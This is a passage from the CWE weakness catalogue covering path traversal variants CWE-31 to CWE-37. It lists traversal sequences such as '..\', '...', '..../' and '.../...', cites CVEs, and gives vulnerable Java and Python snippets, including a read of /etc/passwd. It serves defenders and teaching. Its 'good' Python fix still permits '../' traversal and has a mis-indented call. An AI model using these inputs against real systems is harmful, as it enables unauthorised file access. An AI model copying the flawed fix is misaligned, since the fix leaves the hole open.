Reference	Description
CVE-2002-1987	Protection mechanism checks for "/" but doesn't account for Windows-specific "\" allowing read of arbitrary files. https://www.cve.org/CVERecord?id=CVE-2002-1987

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			7 - '\directory\..\filename
Software Fault Patterns	SFP16		Path Traversal

CWE-31: Path Traversal: 'dir\..\filename'

Weakness ID : 31

Structure : Simple

Abstraction : Variant

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize 'dir\..\filename' (multiple internal backslash dot dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'dir\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "..\" sequence, so multiple "..\" can bypass that check. Alternately, this manipulation could be used to bypass a check for "..\" at the beginning of the pathname, moving up more than one directory level.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	E	23	Relative Path Traversal	46

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Operating_System : Windows (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-0160	The administration function in Access Control Server allows remote attackers to read HTML, Java class, and image files outside the web root via a "..\" sequence in the URL to port 2002. https://www.cve.org/CVERecord?id=CVE-2002-0160

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			8 - 'directory\..\filename
Software Fault Patterns	SFP16		Path Traversal

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-32: Path Traversal: '..' (Triple Dot)

Weakness ID : 32
Structure : Simple
Abstraction : Variant

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '..' (triple dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "." sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	46

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory

separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2001-0467	"\\..." in web server https://www.cve.org/CVERecord?id=CVE-2001-0467
CVE-2001-0615	"..." or "...." in chat server https://www.cve.org/CVERecord?id=CVE-2001-0615
CVE-2001-0963	"..." in cd command in FTP server https://www.cve.org/CVERecord?id=CVE-2001-0963
CVE-2001-1193	"..." in cd command in FTP server https://www.cve.org/CVERecord?id=CVE-2001-1193
CVE-2001-1131	"..." in cd command in FTP server https://www.cve.org/CVERecord?id=CVE-2001-1131
CVE-2001-0480	read of arbitrary files and directories using GET or CD with "..." in Windows-based FTP server. https://www.cve.org/CVERecord?id=CVE-2001-0480
CVE-2002-0288	read files using "." and Unicode-encoded "/" or "\" characters in the URL. https://www.cve.org/CVERecord?id=CVE-2002-0288
CVE-2003-0313	Directory listing of web server using "..." https://www.cve.org/CVERecord?id=CVE-2003-0313
CVE-2005-1658	Triple dot https://www.cve.org/CVERecord?id=CVE-2005-1658

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Maintenance

This manipulation-focused entry is currently hiding two distinct weaknesses, so it might need to be split. The manipulation is effective in two different contexts: it is equivalent to "..\.." on Windows, or it can take advantage of incomplete filtering, e.g. if the programmer does a single-pass removal of "/" in a string (collapse of data into unsafe value, CWE-182).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'...' (triple dot)
Software Fault Patterns	SFP16		Path Traversal

CWE-33: Path Traversal: '....' (Multiple Dot)

Weakness ID : 33

Structure : Simple

Abstraction : Variant

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '....' (multiple dot) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '....' manipulation is useful for bypassing some path traversal protection schemes. On some Windows systems, it is equivalent to "..\..\.." and might bypass checks that assume only two dots are valid. Incomplete filtering, such as removal of "./" sequences, can ultimately produce valid ".." sequences due to a collapse into unsafe value (CWE-182).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	46
CanFollow		182	Collapse of Data into Unsafe Value	455

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may

be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Implementation

Strategy = Input Validation



Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2000-0240	read files via "/...../" in URL https://www.cve.org/CVERecord?id=CVE-2000-0240
CVE-2000-0773	read files via "...." in web server https://www.cve.org/CVERecord?id=CVE-2000-0773
CVE-1999-1082	read files via "....." in web server (doubled triple dot?) https://www.cve.org/CVERecord?id=CVE-1999-1082
CVE-2004-2121	read files via "....." in web server (doubled triple dot?) https://www.cve.org/CVERecord?id=CVE-2004-2121
CVE-2001-0491	multiple attacks using "..", "...", and "...." in different commands https://www.cve.org/CVERecord?id=CVE-2001-0491
CVE-2001-0615	"..." or "...." in chat server https://www.cve.org/CVERecord?id=CVE-2001-0615

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Maintenance

Like the triple-dot CWE-32, this manipulation probably hides multiple weaknesses that should be made more explicit.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'...' (multiple dot)
Software Fault Patterns	SFP16		Path Traversal

CWE-34: Path Traversal: '..../'

Weakness ID : 34

Structure : Simple

Abstraction : Variant

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '..../' (doubled dot dot slash) sequences that can resolve to a location that is outside of that directory.

Extended Description


This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..../' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then '..../' can collapse into the "../" unsafe value (CWE-182). It could also be useful when "." is removed, if the operating system treats "/" and "/" as equivalent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		23	Relative Path Traversal	46
CanFollow		182	Collapse of Data into Unsafe Value	455

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Detection Methods

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../..." string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2004-1670	Mail server allows remote attackers to create arbitrary directories via a ".." or rename arbitrary files via a ".../..." in user supplied parameters. https://www.cve.org/CVERecord?id=CVE-2004-1670

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Notes

Relationship

This could occur due to a cleansing error that removes a single "../" from "..../"

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'..../' (doubled dot dot slash)
Software Fault Patterns	SFP16		Path Traversal

CWE-35: Path Traversal: '../.../'

Weakness ID : 35

Structure : Simple

Abstraction : Variant

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '../.../' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '../.../' manipulation is useful for bypassing some path traversal protection schemes. If "../" is filtered in a sequential fashion, as done by some regular expression engines, then '../.../' can collapse into the "../" unsafe value (CWE-182). Removing the first "../" yields "..../"; the second removal yields "../". Depending on the algorithm, the product could be susceptible to CWE-34 but not CWE-35, or vice versa.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	23	Relative Path Traversal	46
CanFollow	B	182	Collapse of Data into Unsafe Value	455

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../..." string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Implementation

Strategy = Input Validation




Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2005-2169	chain: ".../..." bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal. https://www.cve.org/CVERecord?id=CVE-2005-2169
CVE-2005-0202	".../..." bypasses regexp's that remove "/" and "../" https://www.cve.org/CVERecord?id=CVE-2005-0202

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf		1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2487
MemberOf		1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			'.../.../'

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP16		Path Traversal

CWE-36: Absolute Path Traversal

Weakness ID : 36

Structure : Simple

Abstraction : Base

Description

The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize absolute path sequences such as "/abs/path" that can resolve to a location that is outside of that directory.






Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33
ParentOf		37	Path Traversal: '/absolute/pathname/here'	79
ParentOf		38	Path Traversal: '\absolute\pathname\here'	80
ParentOf		39	Path Traversal: 'C:\dirname'	82
ParentOf		40	Path Traversal: '\\UNC\share\name\' (Windows UNC Share)	85

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	33

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.</i>	
Integrity	Modify Files or Directories	

Scope	Impact	Likelihood
	<p><i>The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.</i></p>	
Confidentiality	Read Files or Directories	<p><i>The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.</i></p>
Availability	DoS: Crash, Exit, or Restart	<p><i>The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the product from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the product.</i></p>

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Demonstrative Examples

Example 1:

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

Example Language: Java

(Bad)

```
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);
```

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 2:

This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's `os.path.join()` function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute

path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.

Example Language: Python

(Bad)

```
import os
import sys
def main():
    filename = sys.argv[1]
    path = os.path.join(os.getcwd(), filename)
    try:
        with open(path, 'r') as f:
            file_data = f.read()
    except FileNotFoundError as e:
        print("Error - file not found")
    main()
```

However, if the user supplies an absolute path, the `os.path.join()` function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is `/home/user/documents`, but the user inputs `/etc/passwd`, `os.path.join()` will use only `/etc/passwd`, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the `/etc/passwd` file.

Example Language: Python

(Good)

```
import os
import sys
def main():
    filename = sys.argv[1]
    path = os.path.normpath(f"{os.getcwd()}{os.sep}{filename}")
    try:
        with open(path, 'r') as f:
            file_data = f.read()
    except FileNotFoundError as e:
        print("Error - file not found")
    main()
```

The constructed path string uses `os.sep` to add the appropriate separation character for the given operating system (e.g. `\` or `/`) and the call to `os.path.normpath()` removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. By putting the pieces of the path string together in this fashion, the script avoids a call to `os.path.join()` and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is `/home/user/documents`, and the user inputs `/etc/passwd`, the resulting path will be `/home/user/documents/etc/passwd`. The user is therefore contained within the current working directory as intended.

Observed Examples

Reference	Description
CVE-2022-31503	Python package constructs filenames using an unsafe <code>os.path.join</code> call on untrusted input, allowing absolute path traversal because <code>os.path.join</code> resets the pathname to an absolute path that is specified as part of the input. https://www.cve.org/CVERecord?id=CVE-2022-31503
CVE-2002-1345	Multiple FTP clients write arbitrary files via absolute paths in server responses https://www.cve.org/CVERecord?id=CVE-2002-1345
CVE-2001-1269	ZIP file extractor allows full path https://www.cve.org/CVERecord?id=CVE-2001-1269
CVE-2002-1818	Path traversal using absolute pathname https://www.cve.org/CVERecord?id=CVE-2002-1818
CVE-2002-1913	Path traversal using absolute pathname https://www.cve.org/CVERecord?id=CVE-2002-1913

Reference	Description
CVE-2005-2147	Path traversal using absolute pathname https://www.cve.org/CVERecord?id=CVE-2005-2147
CVE-2000-0614	Arbitrary files may be overwritten via compressed attachments that specify absolute path names for the decompressed output. https://www.cve.org/CVERecord?id=CVE-2000-0614
CVE-1999-1263	Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified. https://www.cve.org/CVERecord?id=CVE-1999-1263
CVE-2003-0753	Remote attackers can read arbitrary files via a full pathname to the target file in config parameter. https://www.cve.org/CVERecord?id=CVE-2003-0753
CVE-2002-1525	Remote attackers can read arbitrary files via an absolute pathname. https://www.cve.org/CVERecord?id=CVE-2002-1525
CVE-2001-0038	Remote attackers can read arbitrary files by specifying the drive letter in the requested URL. https://www.cve.org/CVERecord?id=CVE-2001-0038
CVE-2001-0255	FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname. https://www.cve.org/CVERecord?id=CVE-2001-0255
CVE-2001-0933	FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument. https://www.cve.org/CVERecord?id=CVE-2001-0933
CVE-2002-0466	Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages. https://www.cve.org/CVERecord?id=CVE-2002-0466
CVE-2002-1483	Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." . https://www.cve.org/CVERecord?id=CVE-2002-1483
CVE-2004-2488	FTP server read/access arbitrary files using "C:\" filenames https://www.cve.org/CVERecord?id=CVE-2004-2488
CVE-2001-0687	FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computename\sharename). https://www.cve.org/CVERecord?id=CVE-2001-0687

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	981	SFP Secondary Cluster: Path Traversal	888	2409
MemberOf	C	1404	Comprehensive Categorization: File Handling	1400	2529

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Absolute Path Traversal
Software Fault Patterns	SFP16		Path Traversal

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
597	Absolute Path Traversal

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-37: Path Traversal: '/absolute/pathname/here'

Weakness ID : 37
Structure : Simple
Abstraction : Variant



Description

The product accepts input in the form of a slash absolute path ('/absolute/pathname/here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		160	Improper Neutralization of Leading Special Elements	413
ChildOf		36	Absolute Path Traversal	75

Applicable Platforms

Language : Not Language-Specific (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory

separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

